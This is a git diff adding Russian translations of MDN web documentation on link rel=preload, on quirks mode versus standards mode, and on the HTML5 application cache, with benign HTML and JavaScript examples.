+ <li>Сохранить в кэше затребованный ресурс для его повторного использования в случае необходимости.</li>
+ <li>Применять корректную <a href="/ru/docs/Web/HTTP/CSP">политику безопасности содержимого (content security policy)</a> для ресурсов.</li>
+ <li>Правильно устанавливать заголовки {{HTTPHeader("Accept")}} для выбранного запроса.</li>
+</ul>
+
+<h3 id="Какие_типы_контента_могут_быть_предзагружены">Какие типы контента могут быть предзагружены?</h3>
+
+<p>Разного типа контент можно предзагрузить. Вот основные атрибуты значения <code>as</code>:</p>
+
+<ul>
+ <li><code>audio</code>: Аудио файлы.</li>
+ <li><code>document</code>: HTML документ для {{htmlelement("frame")}} или {{htmlelement("iframe")}}.</li>
+ <li><code>embed</code>: Ресурс, встроенный в {{htmlelement("embed")}} элемент.</li>
+ <li><code>fetch</code>: Ресурс с доступом к запросу выборки или XHR, подобие файлу ArrayBuffer или JSON.</li>
+ <li><code>font</code>: Шрифты.</li>
+ <li><code>image</code>: Картинки.</li>
+ <li><code>object</code>: Ресурс встроенный в {{htmlelement("object")}} элемент.</li>
+ <li><code>script</code>: JavaScript.</li>
+ <li><code>style</code>: CSS таблица стилей.</li>
+ <li><code>track</code>: WebVTT.</li>
+ <li><code>worker</code>: A JavaScript веб-worker и общий worker.</li>
+ <li><code>video</code>: Видео.</li>
+</ul>
+
+<div class="note">
+<p><strong>Заметка</strong>: Вы можете прочитать немного больше об этих значениях и веб-функциях, которыми они будут пользоваться, в спецификации Предзагрузка — <a href="https://w3c.github.io/preload/#link-element-extensions">расширения элементов ссылок</a>. Также обратите внимание, что полный список значений атрибут <code>as</code> может принимать в зависимости от определений в спецификации Fetch — <a href="https://fetch.spec.whatwg.org/#concept-request-destination">запрос направления</a>.</p>
+</div>
+
+<h2 id="Включение_MIME-типов">Включение MIME-типов</h2>
+
+<p>Элементы <code>&lt;link&gt;</code> могут принимать атрибут {{htmlattrxref("type", "link")}}, содержащий MIME-тип ресурса целевого элемента. Это особенно полезно при пред-загрузке ресурсов. Браузер использует значение атрибута <code>type</code> и начнёт его загрузку, если поддержка ресурса определена, иначе проигнорирует его.</p>
+
+<p>См. <a href="https://github.com/mdn/html-examples/tree/master/link-rel-preload/video">полный исходный код</a>, (а также <a href="https://mdn.github.io/html-examples/link-rel-preload/video/">пример живой версии видео</a>).</p>
+
+<pre class="brush: html notranslate">&lt;head&gt;
+  &lt;meta charset="utf-8"&gt;
+  &lt;title&gt;Пример пред-загрузки видео&lt;/title&gt;
+
+  &lt;link rel="preload" href="sintel-short.mp4" as="video" type="video/mp4"&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;video controls&gt;
+    &lt;source src="sintel-short.mp4" type="video/mp4"&gt;
+    &lt;source src="sintel-short.webm" type="video/webm"&gt;
+    &lt;p&gt; Ваш браузер не поддерживает видео в формате HTML5.
+        Взамен - &lt;a href="sintel-short.mp4"&gt; ссылка на видео &lt;/a&gt;.&lt;/p&gt;
+  &lt;/video&gt;
+&lt;/body&gt;</pre>
+
+<p>В этом случае браузеры, поддерживающие MP4, будут пред-загружать и использовать MP4, что, как мы надеемся, сделает видеоплеер плавнее/отзывчивее для пользователей. Браузеры, не поддерживающие MP4, могут загружать версию WebM, при этом не получая преимуществ пред-загрузки. Это показывает, как пред-загрузка контента может сочетаться с философией прогрессивного улучшения.</p>
+
+<h2 id="Выборки_из_разных_источников">Выборки из разных источников</h2>
+
+<p>Если настройки CORS ваших сайтов правильные, вы можете успешно пред-загрузить ресурсы разных источников, установив атрибут {{htmlattrxref("crossorigin", "link")}} в элементе <code>&lt;link&gt;</code>.</p>
+
+<p>Один из интересных случаев, когда это применимо, даже если выборка не из разных источников, - это файлы шрифтов. По разным причинам они должны быть получены с использованием анонимного режима CORS (см. <a href="https://drafts.csswg.org/css-fonts/#font-fetching-requirements">Требования к выборке шрифтов</a>, если вас заинтересуют все подробности).</p>
+
+<p>Используем этот случай в качестве примера, во-первых, загрузка шрифтов - действительно хороший вариант использования пред-загрузки, а во-вторых, - это проще, чем настраивать пример запроса с перекрёстным источником. Полный пример исходного кода <a href="https://github.com/mdn/html-examples/tree/master/link-rel-preload/fonts">есть на GitHub</a> (<a href="https://mdn.github.io/html-examples/link-rel-preload/fonts/">также смотрите его вживую</a>):</p>
+
+<pre class="brush: html notranslate">&lt;head&gt;
+  &lt;meta charset="utf-8"&gt;
+  &lt;title&gt;Примеры веб-шрифтов&lt;/title&gt;
+
+  &lt;link rel="preload" href="fonts/cicle_fina-webfont.eot" as="font" type="application/vnd.ms-fontobject" crossorigin="anonymous"&gt;
+  &lt;link rel="preload" href="fonts/cicle_fina-webfont.woff2" as="font" type="font/woff2" crossorigin="anonymous"&gt;
+  &lt;link rel="preload" href="fonts/cicle_fina-webfont.woff" as="font" type="font/woff" crossorigin="anonymous"&gt;
+  &lt;link rel="preload" href="fonts/cicle_fina-webfont.ttf" as="font" type="font/ttf" crossorigin="anonymous"&gt;
+  &lt;link rel="preload" href="fonts/cicle_fina-webfont.svg" as="font" type="image/svg+xml" crossorigin="anonymous"&gt;
+
+  &lt;link rel="preload" href="fonts/zantroke-webfont.eot" as="font" type="application/vnd.ms-fontobject" crossorigin="anonymous"&gt;
+  &lt;link rel="preload" href="fonts/zantroke-webfont.woff2" as="font" type="font/woff2" crossorigin="anonymous"&gt;
+  &lt;link rel="preload" href="fonts/zantroke-webfont.woff" as="font" type="font/woff" crossorigin="anonymous"&gt;
+  &lt;link rel="preload" href="fonts/zantroke-webfont.ttf" as="font" type="font/ttf" crossorigin="anonymous"&gt;
+  &lt;link rel="preload" href="fonts/zantroke-webfont.svg" as="font" type="image/svg+xml" crossorigin="anonymous"&gt;
+
+  &lt;link href="style.css" rel="stylesheet" type="text/css"&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  ...
+&lt;/body&gt;</pre>
+
+<p>Легко узреть, что мы не только предоставляем подсказки типа MIME в атрибутах типа, но также предоставляем атрибут <code>crossorigin</code> для решения проблемы CORS.</p>
+
+<h2 id="Including_media">Including media</h2>
+
+<p>One nice feature of <code>&lt;link&gt;</code> elements is their ability to accept {{htmlattrxref("media", "link")}} attributes. These can accept <a href="/en-US/docs/Web/CSS/@media#Media_types">media types</a> or full-blown <a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries">media queries</a>, allowing you to do responsive preloading!</p>
+
+<p>Давайте посмотрим на очень простой пример (см. его на GitHub - <a href="https://github.com/mdn/html-examples/tree/master/link-rel-preload/media">исходный код</a> и <a href="https://mdn.github.io/html-examples/link-rel-preload/media/">живой пример</a>):</p>
+
+<pre class="brush: html notranslate">&lt;head&gt;
+  &lt;meta charset="utf-8"&gt;
+  &lt;title&gt;Пример адаптивной предзагрузки&lt;/title&gt;
+
+  &lt;link rel="preload" href="bg-image-narrow.png" as="image" media="(max-width: 600px)"&gt;
+  &lt;link rel="preload" href="bg-image-wide.png" as="image" media="(min-width: 601px)"&gt;
+
+  &lt;link rel="stylesheet" href="main.css"&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;header&gt;
+    &lt;h1&gt;Мой сайт&lt;/h1&gt;
+  &lt;/header&gt;
+
+  &lt;script&gt;
+    var mediaQueryList = window.matchMedia("(max-width: 600px)");
+    var header = document.querySelector('header');
+
+    if(mediaQueryList.matches) {
+      header.style.backgroundImage = 'url(bg-image-narrow.png)';
+    } else {
+      header.style.backgroundImage = 'url(bg-image-wide.png)';
+    }
+  &lt;/script&gt;
+&lt;/body&gt;</pre>
+
+<p>Вы видите, что мы включаем <code>media</code>-атрибуты в наши элементы <code>&lt;link&gt;</code> так, чтобы узкое изображение пред-загружалось на устройство пользователя с узким экраном, а более широкое - на устройство с более широким экраном. Чтобы изображение к заголовку было в зависимости от результата - мы используем {{domxref("Window.matchMedia")}} / {{domxref("MediaQueryList")}} (подробности см. в разделе <a href="/en-US/docs/Web/CSS/Media_Queries/Testing_media_queries">Тест медиа-запросов</a>).</p>
+
+<p>Это увеличивает вероятность того, что шрифт будет доступен к моменту завершения рендеринга страницы, что сокращает количество проблем с FOUT (вспышка нестилизованного текста).</p>
+
+<p>Обратите внимание, что это не должно ограничиваться изображениями или даже файлами одного типа - думайте масштабно! Возможно, вы могли бы предварительно загрузить, а затем отобразить простую диаграмму SVG, если пользователь находится на узком экране, где пропускная способность и ЦП потенциально более ограничены, или предзагрузить сложный фрагмент JavaScript, а затем использовать его для рендеринга интерактивной 3D-модели, если ресурсы пользователя более многочисленны.</p>
+
+<h2 id="Скрипты_и_предзагрузки">Скрипты и предзагрузки</h2>
+
+<p>Ещё одна полезная вещь в этих предзагрузках, это то, что вы можете выполнять их полностью со скриптами, если необходимо. Например, мы сейчас создаём  экземпляр {{domxref("HTMLLinkElement")}}, затем включим её в DOM:</p>
+
+<pre class="brush: js notranslate"><code class="language-javascript"><span class="keyword token">var</span> preloadLink <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">"link"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+preloadLink<span class="punctuation token">.</span>href <span class="operator token">=</span> <span class="string token">"myscript.js"</span><span class="punctuation token">;</span>
+preloadLink<span class="punctuation token">.</span>rel <span class="operator token">=</span> <span class="string token">"preload"</span><span class="punctuation token">;</span>
+preloadLink<span class="punctuation token">.</span><span class="keyword token">as</span> <span class="operator token">=</span> <span class="string token">"script"</span><span class="punctuation token">;</span>
+document<span class="punctuation token">.</span>head<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>preloadLink<span class="punctuation token">)</span><span class="punctuation token">;</span>
+</code></pre>
+
+<p>Пдразумевается, что браузер загрузит JavaScript файл, но, пока не будет его применять.</p>
+
+<p>Чтобы выполнить его, вы можете использовать следующую конструкцию:</p>
+
+<pre class="brush: js notranslate"><code class="language-javascript"><span class="keyword token">var</span> preloadedScript <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">"script"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+preloadedScript<span class="punctuation token">.</span>src <span class="operator token">=</span> <span class="string token">"myscript.js"</span><span class="punctuation token">;</span>
+document<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>preloadedScript<span class="punctuation token">)</span><span class="punctuation token">;</span>
+</code></pre>
+
+<p>Это полезно, когда вы хотите загрузить скрипт в кеш, но применять его только тогда, когда это необходимо.</p>
+
+<h2 id="Другие_механизмы_предзагрузки_ресурсов">Другие механизмы предзагрузки ресурсов</h2>
+
+<p>Существуют и другие функции предварительной загрузки, но ни одна из них не подходит так, как <code>&lt;link rel="preload"&gt;</code>:</p>
+
+<ul>
+ <li><code>&lt;link rel="prefetch"&gt;</code> давно поддерживается в браузерах, но предназначен для предварительной загрузки ресурсов, которые будут использоваться при следующей навигации/загрузке страницы (например, когда вы переходите на следующую страницу). Это нормально, но бесполезно для текущей страницы! Кроме того, браузеры будут отдавать ресурсам предварительной загрузки более низкий приоритет, чем ресурсам <code>предзагрузки</code> - текущая страница важнее следующей. См. <a href="/en-US/docs/Web/HTTP/Link_prefetching_FAQ">Предвыборку ссылок FAQ</a> для подробностей.</li>
+ <li><code>&lt;link rel = "subresource"&gt;</code> некоторое время назад поддерживался в Chrome и предназначался для решения проблемы предзагрузки ресурсов для текущей навигации/загрузки страницы, но у него была проблема - не было возможности определить приоритет для получения элементов. (<code>as</code> тогда не существовало), поэтому все они в конечном итоге были извлечены с довольно низким приоритетом, что не помогло ситуации.</li>
+ <li>Существует ряд загрузчиков ресурсов на основе сценариев, но они не имеют никакой власти над очередью приоритетов выборки браузера и подвержены тем же проблемам с производительностью.</li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Preload','#x2.link-type-preload','preload')}}</td>
+   <td>{{Spec2('Preload')}}</td>
+   <td>Further details of <code>preload</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'link-type-preload', 'rel=preload')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Definition of <code>rel=preload</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">Таблица совместимости на этой странице создана на основе структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</p>
+
+<p>{{Compat("html.elements.link.rel.preload")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/">Preload: What Is It Good For?</a> by Yoav Weiss</li>
+</ul>
+
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/HTML")}}</p>
diff --git a/files/ru/web/html/quirks_mode_and_standards_mode/index.html b/files/ru/web/html/quirks_mode_and_standards_mode/index.html
new file mode 100644
index 0000000000..b29bebc61a
--- /dev/null
+++ b/files/ru/web/html/quirks_mode_and_standards_mode/index.html
@@ -0,0 +1,46 @@
+---
+title: Режим совместимости (Quirks Mode) и стандартный режим (Standards Mode)
+slug: Web/HTML/Quirks_Mode_and_Standards_Mode
+translation_of: Web/HTML/Quirks_Mode_and_Standards_Mode
+---
+<p>В самом начале веба страницы обычно писались в двух версиях: одна для браузера Netscape Navigator,  другая для браузера Microsoft Internet Explorer. Когда W3C были созданы новые веб стандарты, браузеры не могли их сразу использовать, так как это могло привести к некорректному отображению большинства существующих сайтов. Для правильного отображения устаревших сайтов и сайтов, поддерживающих новые стандарты, браузерами были разработаны два режима отображения.</p>
+
+<p>На сегодняшний день существует три режима отображения, которые используются движками разметки (layout engines) браузеров: режим совместимости (quirks mode), частично стандартный режим (almost standards mode) и стандартный режим (full standards mode). В режиме совместимости (<strong>quirks mode)</strong>, разметка эмулирует нестандартное поведение браузеров Navigator 4 и Internet Explorer 5. Этот режим необходим для поддержки сайтов, созданных до начала широкого применения веб стандартов. В стандартном режиме (<strong>full standards mode)</strong> поведение браузера соответствует (будем надеяться) описанному в спецификациях HTML и CSS. В частично стандартном режиме (<strong>almost standards mode) </strong> реализовано лишь незначительное количество так называемых "странностей" (quirks).</p>
+
+<h2 id="How_does_Mozilla_determine_which_mode_to_use.3F" name="How_does_Mozilla_determine_which_mode_to_use.3F">Как браузеры понимают, какой режим использовать?</h2>
+
+<p>Браузеры используют тег DOCTYPE, чтобы определить в каком режиме обрабатывать документ. Для отображения страницы в стандартном режиме необходмо добавить тег DOCTYPE в HTML-код страницы как показано в примере ниже:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset=UTF-8&gt;
+    &lt;title&gt;Hello World!&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Тег DOCTYPE, указанный в примере, - <code>&lt;!DOCTYPE html&gt;</code> - самый простой способ обеспечить стандартный режим отображения; использование этого тега рекомендовано стандартом HTML5. Для предыдущих версий HTML рекомендованы другие варианты, но все существующие на текущий момент браузеры используют такой тег DOCTYPE для отображения страницы в стандартном режиме, даже Internet Explorer 6. На сегодняшний день не существует веских причин для использования более сложного тега DOCTYPE. Использование какого-либо другого тега DOCTYPE может привести к переключению браузера в частично стандартный режим отображения или в режим совместимости.</p>
+
+<p>Необходимо удостовериться, что тег DOCTYPE находится в самом начале HTML документа. Если на странице будет что-либо до тега DOCTYPE, например, комментарий или  декларирование XML, то  браузеры Internet Explorer 9 и выше будут переведены в режим совместимости.</p>
+
+<p>В стандарте HTML5 тег DOCTYPE используется исключительно для активации стандартного режима отображения. Предыдущие версии HTML придавали дополнительное значение использованию тега DOCTYPE, но браузеры использовали тег DOCTYPE исключительно для переключения между режимом совместимости и стандартным режимом. </p>
+
+<p>См. также детальное описание того, <a class="external" href="http://hsivonen.iki.fi/doctype/" title="http://hsivonen.iki.fi/doctype/">как разные браузеры выбирают режимы</a>.</p>
+
+<h3 id="XHTML">XHTML</h3>
+
+<p>Если страница написана в <a href="/en-US/docs/XHTML" title="XHTML">XHTML</a> формате с указаннием типа MIME <code>application/xhtml+xml</code> в заголовке <code>Content-Type</code>, то не нужно указывать DOCTYPE для активации стандартного режима, так как подобные документы всегда отображаются в стандартном режиме. Важно иметь в виду, что Internet Explorer 8 вместо контента такой страницы отображает <a href="/en-US/docs/XHTML#Support" title="XHTML">диалоговое окно загрузки</a> как для неизвестного формата, поскольку поддержка XHTML реализована в Internet Explorer, начиная с 9 версии.</p>
+
+<p>Если страница написана в  XHTML формате с использованием типа MIME <code>text/html</code>, браузер будет интерпретировать его как HTML, поэтому для использования браузером стандартного режима отображения необходимо  указать тег DOCTYPE. </p>
+
+<h2 id="What_are_the_differences_between_the_modes.3F" name="What_are_the_differences_between_the_modes.3F">Как узнать, какой режим используется?</h2>
+
+<p>В Firefox необходимо в контекстном меню "Информация о странице" (<em>View Page Info)</em> проверить<em> </em>"Тип визуализации" (<em>Render Mode)</em>.</p>
+
+<p>В Internet Explorer через <em>F12</em> проверить Тип документа (<em>Document Mode)</em>.</p>
+
+<h2 id="What_are_the_differences_between_the_modes.3F" name="What_are_the_differences_between_the_modes.3F">В чем разница между режимами?</h2>
+
+<p>См. <a href="/en-US/docs/Mozilla_Quirks_Mode_Behavior" title="Mozilla_Quirks_Mode_Behavior">список странностей (list of quirks)</a> и <a href="/en-US/docs/Gecko's_&quot;Almost_Standards&quot;_Mode" title="Gecko%27s_%22Almost_Standards%22_Mode">частично стандартный режим</a> для того, чтобы увидеть разницу между режимами.</p>
diff --git a/files/ru/web/html/использование_кэширования_приложений/index.html b/files/ru/web/html/использование_кэширования_приложений/index.html
new file mode 100644
index 0000000000..1b07e6a29d
--- /dev/null
+++ b/files/ru/web/html/использование_кэширования_приложений/index.html
@@ -0,0 +1,327 @@
+---
+title: Использование кэширования приложений
+slug: Web/HTML/Использование_кэширования_приложений
+translation_of: Web/HTML/Using_the_application_cache
+---
+<h2 id="Введение">Введение</h2>
+<p><a href="/en-US/docs/HTML/HTML5" title="HTML/HTML5">HTML5</a> предоставляет механизм <em>кэширования приложения</em>, позволяющий веб-приложениям работать в автономном режиме. Разработчики теперь могут использовать интерфейс <strong>Кэша приложения</strong> (<em>AppCache</em>), сообщая браузеру, какие из ресурсов браузеру следует закэшировать и сделать доступными в режиме оффлайн. Закэшированные приложения загружаются и работают корректно, даже если пользователь обновляет страницу в тот момент, когда он отключён от сети.</p>
+<p>Использование механизма кэширования даёт следующие преимущества:</p>
+<ul>
+ <li>Просмотр страниц в автономном режиме: пользователи могут переходить по сайту даже в режиме оффлайн.</li>
+ <li>Скорость: закэшированные ресурсы хранятся на устройстве пользователя и, следовательно, загружаются быстрее.</li>
+ <li>Уменьшение нагрузки на сервер: браузер загружает с сервера только те ресурсы, которые были изменены.</li>
+</ul>
+<h2 id="Как_работает_кэш_приложения">Как работает кэш приложения</h2>
+<h3 id="Включение_механизма_кэширования">Включение механизма кэширования</h3>
+<p>Для включения механизма кэширования приложения вам необходимо включить атрибут {{htmlattrxref("manifest", "html")}} в элемент {{HTMLElement("html")}} на странице вашего приложения, как показано примере ниже:</p>
+<div style="overflow: hidden;">
+ <pre class="brush: html">&lt;html manifest="example.appcache"&gt;
+  ...
+&lt;/html&gt;
+</pre>
+</div>
+<p>Атрибут <code>manifest</code> ссылается на файл <strong>манифеста кэша</strong>, который является текстовым файлом и содержит список ресурсов (файлов), которые браузеру следует закэшировать для вашего приложения.</p>
+<p>Вам следует включить атрибут <code>manifest</code> в каждую страницу вашего приложения, внутри которой вы хотели бы осуществлять кэширование. Браузер не закэширует страницы, не содержащие атрибута <code>manifest</code>, пока такие страницы не будут явно указаны в файле манифеста. Вам не обязательно перечислять все страницы, которые вы хотите закэшировать, в файле манифеста, т.к. браузер неявно добавляет в кэш приложения каждую посещаемую пользователем страницу, где есть атрибут  <code>manifest</code>.</p>
+<p>Некоторые браузеры (например, Firefox) показывают панель уведомлений , когда пользователь загружает использующее кэш приложение в первый раз. Панель уведомлений может показывать примерно такое сообщение::</p>
+<p style="margin-left: 40px;">Этот веб-сайт (<code>www.example.com</code>) запрашивает у вас разрешение на хранение данных для автономной работы на вашем компьютере. [Разрешить] [Никогда для этого сайта] [Не сейчас]</p>
+<p>Термин "оффлайн(-доступные) приложения" иногда относится конкретно к приложениям, которым пользователь разрешил использовать возможности работы оффлайн.</p>
+<h3 id="Загрузка_документов">Загрузка документов</h3>
+<p>Использование кэша приложений изменяет обычный процесс загрузки документа:</p>
+<ul>
+ <li>Если существует кэш приложения, браузер загружает документ и связаные с ним ресурсы напрямую из кэша без использования сети. Это ускоряет загрузку документа.</li>
+ <li>Затем браузер проверяет, был ли изменён манифест кэша на стороне сервера.</li>
+ <li>Если манифест кэша изменён, браузер загружает новую версию манифеста и перечисленных в нём ресурсов. Данные действия происходят в фоновом режиме и почти не влияют на производительность.</li>
+</ul>
+<p>Ниже приведено более подробное описание процесса загрузки документов и обновления кэша приложения:</p>
+<ol>
+ <li>Когда браузер посещает страницу со включенным атрибутом <code>manifest</code> и кэша приложения не существует, браузер загружает документ, а затем получает все пункты файла манифеста, создавая тем самым первую версию кэша приложения.</li>
+ <li>Последующие посещения данной страницы приводят к загрузке документа и других ресурсов, указанных в файле манифеста, уже из кэша приложения (не с сервера). К тому же браузер также посылает событие <code>checking</code> объекту <code><a href="/en-US/docs/DOM/window.applicationCache" title="DOM/window.applicationCache">window.applicationCache</a></code> и получает файл манифеста в соответствии с правилами кэширования HTTP.</li>
+ <li>Если текущая закэшированная копия манифеста совпадает со скачанной, браузер посылает событие <code>noupdate</code> объекту <code>applicationCache</code>, завершая процесс обновления. Обратите внимание, если вы изменили закэшированные ресурсы на стороне сервера, вам также необходимо изменить и файл манифеста, тем самым давая браузеру знать, какие из ресурсов нужно получить повторно.</li>
+ <li>Если файл манифеста изменился, то все перечисленные в нём файлы, так же, как и добавленные в кэш с помощью вызова <code><a href="/en-US/docs/nsIDOMOfflineResourceList#add.28.29" title="nsIDOMOfflineResourceList#add.28.29">applicationCache.add()</a></code>, попадают во временный кэш с учётом правил кэширования HTTP. Во время обновления каждого файла в этом временном кэше браузер посылает событие <code>progress</code> объекту <code>applicationCache</code>. Если происходит ошибка, браузер посылает событие <code>error</code>, а обновление прекращается.</li>
+ <li>Как только успешно получены все файлы, они автоматически отправляются в настоящий оффлайн-кэш, а объекту <code>applicationCache</code> посылается событие <code>cached</code>. Поскольку документ уже был загружен в браузер из кэша, обновлёный документ не перерисуется, пока страница не будет перезагружена (неважно как, вручную или программно).</li>
+</ol>
+<h2 id="Место_хранения_и_очистка_оффлайн-кэша">Место хранения и очистка оффлайн-кэша</h2>
+<p>В Chrome оффлайн-кэш можно очистить, выбрав «Очистить историю...» в настройках или перейдя на адрес <a title="chrome://appcache-internals/">chrome://appcache-internals/</a>. У Safari также есть похожий пункт «Очистить кэш» в настройках, но для этого также может  понадобиться перезапуск браузера.</p>
+<p>Firefox хранит данные оффлайн-кэша отдельно от профиля — по соседству с обычным дисковым кэшем:</p>
+<ul>
+ <li>В Windows Vista/7: <code>C:\Users\&lt;пользователь&gt;\AppData\<strong>Local</strong>\Mozilla\Firefox\Profiles\&lt;соль&gt;.&lt;имя профиля&gt;\OfflineCache</code></li>
+ <li>В Mac/Linux: <code>/Users/&lt;<code>пользователь</code>&gt;/Library/Caches/Firefox/Profiles/&lt;<code>соль</code>&gt;.&lt;<code>имя профиля</code>&gt;/OfflineCache</code></li>
+</ul>
+<p>Текущее состояние оффлайн-кэша в Firefox можно посмотреть на странице <code>about:cache</code> (в разеделе «Offline cache device»). Оффлайн-кэш можно очистить по отдельности для каждого сайта, используя кнопку «Удалить...» в разделе Инструменты -&gt; Настройки -&gt; Дополнительные -&gt; Сеть -&gt; Автономное содержимое.</p>
+<p>До Firefox 11 кэш нельзя было очистить ни кнопкой Инструменты -&gt; Удалить недавнюю историю, ни Инструменты -&gt; Настройки -&gt; Дополнительные -&gt; Сеть -&gt; Автономное содержимое -&gt; Очистить сейчас. Сейчас эта проблема устранена.</p>
+<p>В Linux настройки оффлайн-кэша можно найти в разделе Инструменты -&gt; Настройки -&gt; Дополнительные -&gt; Сеть -&gt; Автономное содержимое и данные пользователя</p>
+<p>См. также <a href="/en-US/docs/DOM/Storage#Storage_location_and_clearing_the_data" title="DOM/Storage#Storage location and clearing the data">очистка данных хранилища DOM</a>.</p>
+<p>Также кэши приложения могут устареть. Если с сервера удалить файл манифеста, браузер удалит все кэши, которые были в нём указаны, и пошлёт событие <code>obsoleted</code> объекту <code>applicationCache</code>, что установит состояние кэша в <code>OBSOLETE</code>.</p>
+<h2 id="Файл_манифеста_кэша">Файл манифеста кэша</h2>
+<h3 id="Ссылки_на_файл_манифеста_кэша">Ссылки на файл манифеста кэша</h3>
+<p><code>Атрибут manifest</code> может модержать как относительный путь, так и абсолютный URL (который должен соответствовать принципу единого источника) к файлу манифеста. Файл манифеста кэша может иметь любое расширение, но его MIME- тип должен быть <code>text/cache-manifest</code>.</p>
+<div class="note">
+ <strong>Примечание: </strong>На серверах Apache MIME-тип файлов манифеста (.appcache) можно настроить, добавив строчку <code>AddType text/cache-manifest .appcache</code> в файл .htaccess в корневой директории или же директории приложения.</div>
+<h3 id="Пункты_манифеста_кэша">Пункты манифеста кэша</h3>
+<p>Манифест кэша представляет собой обычный текстовый файл, содержащий список ресурсов, которые браузеру следует закэшировать для обеспечения автономного доступа. Ресурсы идентифицируются по URI. Объекты, перечисленные в манифесте кэша должны иметь те же протокол, хост и порт, что и сам манифест.</p>
+<h3 id="Пример_1_простой_файл_манифеста_кэша">Пример 1: простой файл манифеста кэша</h3>
+<p>Ниже приведено содержимое простого файла манифеста кэша для воображаемого веб-сайта <span class="nowiki">www.example.com</span>.</p>
+<pre>CACHE MANIFEST
+# v1 - 2011-08-13
+# Это комментарий.
+<span class="nowiki">http://www.example.com/index.html</span>
+<span class="nowiki">http://www.example.com/header.png</span>
+<span class="nowiki">http://www.example.com/blah/blah</span>
+</pre>
+<p>Манифест кэша может включать три секции (<code>CACHE</code>, <code>NETWORK</code> и <code>FALLBACK</code>, которые будут рассмотрены далее). В приведённом примере нет заголовков секций, поэтому предполагается, что все строчки находятся в явной секции <code>CACHE</code>,  подразумевая, что все указанные в них ресурсы браузеру следует сохранить в кэше приложения. Ресурсы могут быть указаны с использованием как абсолютных, так и относительных URL (например, <code>index.html</code>).</p>
+<p>Для наличия в кэше комментария «v1» есть веские основания. Браузер обновляет кэш приложения, только если изменён файл манифеста, хотя бы один байт в нём. Если вы изменяете закэшированный ресурс на стороне сервера, (например, при обновлении содержимого картинки  <code>header.png</code>), вы также должны изменить содержимое файла манифеста, тем самым сообщая браузеру, что нужно обновить кэш. Вы можете изменять файл манифеста так, как вам угодно, но лучшие практики рекомендуют использовать изменение номера пересмотра.</p>
+<div class="warning">
+ <strong>Важное замечание:</strong> Не указывайте в манифесте ссылку на него самого, в противном случае будет невозможно сообщить браузеру о том, что кэш обновился.</div>
+<h3 id="Sections_in_a_cache_manifest_file_CACHE_NETWORK_and_FALLBACK">Sections in a cache manifest file: <code>CACHE</code>, <code>NETWORK</code>, and <code>FALLBACK</code></h3>
+<p>A manifest can have three distinct sections: <code>CACHE</code>, <code>NETWORK</code>, and <code>FALLBACK</code>.</p>
+<dl>
+ <dt>
+  <code>CACHE:</code></dt>
+ <dd>
+  This is the default section for entries in a cache manifest file. Files listed under the <code>CACHE:</code> section header (or immediately after the <code>CACHE MANIFEST</code> line) are explicitly cached after they're downloaded for the first time.</dd>
+ <dt>
+  <code>NETWORK:</code></dt>
+ <dd>
+  Files listed under the <code>NETWORK:</code> section header in the cache manifest file are white-listed resources that require a connection to the server. All requests to such resources bypass the cache, even if the user is offline. Wildcards may be used.</dd>
+ <dt>
+  <code>FALLBACK:</code></dt>
+ <dd>
+  The <code>FALLBACK:</code> section specifies fallback pages the browser should use if a resource is inaccessible. Each entry in this section lists two URIs—the first is the resource, the second is the fallback. Both URIs must be relative and from the same origin as the manifest file. Wildcards may be used.</dd>
+</dl>
+<p>The <code>CACHE</code>, <code>NETWORK</code>, and <code>FALLBACK </code>sections can be listed in any order in a cache manifest file, and each section can appear more than once in a single manifest.</p>
+<h3 id="Example_2_a_more_complete_cache_manifest_file">Example 2: a more complete cache manifest file</h3>
+<p>The following is a more complete cache manifest file for the imaginary web site at <span class="nowiki">www.example.com</span>:</p>
+<pre>CACHE MANIFEST
+# v1 2011-08-14
+# This is another comment
+index.html
+cache.html
+style.css
+image1.png
+
+# Use from network if available
+NETWORK:
+network.html
+
+# Fallback content
+FALLBACK:
+/ fallback.html
+</pre>
+<p>This example uses <code>NETWORK</code> and <code>FALLBACK</code> sections to specify that the <code>network.html</code> page must always be retrieved from the network, and that the <code>fallback.html</code> page should be served as a fallback resource (e.g., in case a connection to the server cannot be established).</p>
+<h3 id="Structure_of_a_cache_manifest_file">Structure of a cache manifest file</h3>
+<p>Cache manifest files must be served with the <code>text/cache-manifest</code> MIME type. All resources served using this MIME type must follow the syntax for an application cache manifest, as defined in this section.</p>
+<p>Cache manifests are UTF-8 format text files, and may optionally include a BOM character. Newlines may be represented by line feed (<code>U+000A</code>), carriage return (<code>U+000D</code>), or carriage return and line feed both.</p>
